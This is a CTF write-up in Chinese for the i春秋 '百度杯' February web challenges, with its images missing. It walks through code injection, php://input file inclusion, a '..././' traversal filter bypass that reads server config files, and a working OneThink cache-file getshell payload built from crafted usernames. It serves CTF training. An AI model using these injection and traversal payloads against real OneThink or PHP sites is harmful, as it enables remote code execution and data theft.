您的位置:首页 > 其它

i春秋“百度杯”二月第二场Web专题

2017-02-22 14:47 267 查看
Misc&Web 1



查看源码,得知限制了只允许数字字母下划线
[align=left]利用超全局变量 $GLOBALS[/align]



[align=left]Misc&Web 2[/align]



[align=left]很明显的代码注入[/align]



[align=left]获得flag[/align]

[align=left]Misc&Web 3[/align]



[align=left]SESSION nums需要>=10返回flag[/align]
[align=left]初始化为0[/align]
[align=left]其中substr(md5($value),5,4)==0是恒成立的[/align]
[align=left]只要满足whoami 等于就会  对nums加1[/align]
[align=left]Whoami初始化为ea[/align]
[align=left]并且加一的同时会输出 下一个随机whoami值 不知道是不是题出错了 只需要提交10次就可以了[/align]



[align=left]第一次提交value[0]=e&value[1]=a[/align]
[align=left]接下来的value值根据输出出来的 对应构造请求就可以了[/align]

[align=left]Web 4 include[/align]



[align=left]很明显的包含漏洞[/align]
查看phpinfo信息发现allow_url_include是开启的
可以利用php://input
等协议 执行任意代码



[align=left]获得flag[/align]

[align=left]Web 5 zone[/align]



[align=left]设置了login=0[/align]
[align=left]伪造login=1重新访问下[/align]



[align=left]拿到一个管理页面[/align]
[align=left]http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=index&name=php[/align]
[align=left]看样子是一个包含漏洞[/align]
[align=left]测试fuzz[/align]
[align=left]http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=in../dex&name=php[/align]
[align=left]返回正常[/align]
[align=left]http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=in./dex&name=php[/align]
[align=left]返回空白[/align]
[align=left]替换了../[/align]
[align=left]双重构造饶过[/align]
[align=left]http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=..././..././..././..././..././etc/hosts&name=[/align]



包含日志
爆破上传路径均失败
[align=left]查看了nginx.conf文件[/align]
[align=left]http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=..././..././..././..././..././etc/nginx/nginx.conf&name=[/align]



[align=left]继续查看这个文件[/align]
[align=left]http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=..././..././..././..././..././etc/nginx/sites-enabled/default&name=[/align]



这里比较可疑  通过搜索引擎搜索
得知 这个地方设置错误会导致目录遍历下载漏洞
[align=left]具体利用可百度[/align]



[align=left]获得FLAG[/align]

[align=left]Web 5 onethink[/align]
[align=left]题目提示利用已知的漏洞拿shell,百度搜 “onethink 漏洞”,找到以下文章[/align]

                http://www.ourlove520.com/Article/diannao/wangluo/227731.html        //onethink最新通杀getshell定位分析

                http://www.hackdig.com/06/hack-36510.html        //thinkphp框架写的开源系统或被g
4000
etshell tp官方onethink举例

[align=left]        大意是thinkphp的缓存方式缺陷配合onethink过滤不严造成的命令执行漏洞。[/align]

[align=left]        thinkphp的默认缓存方式S()是以File方式,在/Runtime/Temp 下生成文件名固定的缓存文件[/align]

[align=left]        onethink在/Runtime/Temp生成缓存文件2bb202459c30a1628513f40ab22fa01a.php,其中记录的用户名可以被用户控制,由于注册时只限制了用户名长度,没有对内容进行过滤,造成了命令执行漏洞。[/align]

[align=left]        虽然图都挂了,但是看代码和文字分析,把源码下回来本地搭环境测试了好久,勉强把漏洞利用复现出来。[/align]

[align=left]        由于限制了用户名长度,用burpsuit改包,注册下面2个帐号:[/align]

[align=left]                %0a$a=$_GET[a];//[/align]

[align=left]                %0aecho `$a`;//[/align]

[align=left]        然后依次登录,这里要注意顺序,因为先登录的会先写进缓存文件,顺序写反了就执行不了了[/align]

[align=left]        最后访问[/align]

[align=left]                /Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php[/align]

[align=left]        得到flag[/align]
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: